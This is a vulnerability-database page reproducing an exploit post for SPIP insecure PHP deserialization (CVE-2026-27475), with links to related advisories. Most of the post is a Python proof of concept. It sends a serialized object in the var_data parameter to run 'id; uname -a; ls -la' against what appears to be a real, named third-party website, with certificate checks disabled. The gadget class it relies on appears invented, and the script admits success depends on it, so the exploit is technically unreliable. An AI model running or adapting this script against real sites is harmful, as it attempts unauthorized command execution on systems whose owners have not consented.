Lucene search
K

📄 SPIP Gadget Chain Insecure Deserialization

🗓️ 25 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 100 Views

Tests SPIP gadget chain insecure PHP object deserialization via crafted payload in var_data to run commands.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-27475
19 Feb 202618:39
attackerkb
Information Security Automation
March Linux Patch Wednesday
30 Mar 202620:00
avleonov
Circl
CVE-2026-27475
19 Feb 202619:34
circl
CNNVD
SPIP 安全漏洞
19 Feb 202600:00
cnnvd
CVE
CVE-2026-27475
19 Feb 202618:39
cve
Cvelist
CVE-2026-27475 SPIP < 4.4.9 Insecure Deserialization
19 Feb 202618:39
cvelist
Debian
[SECURITY] [DSA 6155-1] spip security update
3 Mar 202610:30
debian
Debian CVE
CVE-2026-27475
19 Feb 202618:39
debiancve
Tenable Nessus
Debian dsa-6155 : spip - security update
5 Mar 202600:00
nessus
Tenable Nessus
Linux Distros Unpatched Vulnerability : CVE-2026-27475
19 Feb 202600:00
nessus
Rows per page
=============================================================================================================================================
    | # Title     : SPIP Gadget Chain before 4.4.9 Potential PHP Object Deserialization Vulnerability                                           |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://www.spip.net/en_rubrique25.html                                                                                     |
    =============================================================================================================================================
    
    [+] Summary    :  This Python script is designed to send a crafted serialized PHP object to a target website in order to test for a potential PHP Object Deserialization vulnerability.
    
    It:
    
    Uses the requests library to send a GET request to a specified target URL.
    
    Generates a serialized PHP payload referencing a class named SPIP_Exploit_Gadget.
    
    Injects the payload into the var_data parameter.
    
    Attempts to trigger command execution (id; uname -a; ls -la) if a vulnerable gadget chain exists on the server.
    
    Disables SSL certificate verification warnings for testing purposes.
    
    Prints the HTTP response and checks if command output appears in the response body.
    
    [+] POC   : 
    
    import requests
    import urllib.parse
    import urllib3
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    target_url = "https://www.peyres.fr" 
    command_to_run = "id; uname -a; ls -la"
    
    def generate_payload(cmd):
        """
        Generate a PHP serialized payload.
        Note: Success depends on the existence of the 'SPIP_Exploit_Gadget' class 
        or an equivalent Gadget Chain within the server-side files.
        """
        payload = f'O:19:"SPIP_Exploit_Gadget":1:{{s:7:"command";s:{len(cmd)}:"{cmd}";}}'
        return payload
    
    def launch_exploit():
        payload = generate_payload(command_to_run)
        
        params = {
            'page': 'article',
            'id_article': '1',
            'var_data': payload  
        }
    
        print(f"[*] Sending payload to: {target_url}")
        print(f"[*] Target Command: {command_to_run}")
        
        try:
            response = requests.get(target_url, params=params, timeout=15, verify=False)
            
            print("-" * 30)
            print(f"[+] Response Status: {response.status_code}")
    
            if response.status_code == 200:
                print("[+] Potential output found in response body:")
                print(response.text[:1000]) # Print first 1000 characters for inspection
            else:
                print("[-] Server responded with an error.")
                
            print("-" * 30)
            
        except requests.exceptions.RequestException as e:
            print(f"[-] Connection Error: {e}")
    
    if __name__ == "__main__":
        launch_exploit()
    	
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Feb 2026 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 3.18.1
CVSS 49.2
EPSS0.00193
SSVC
100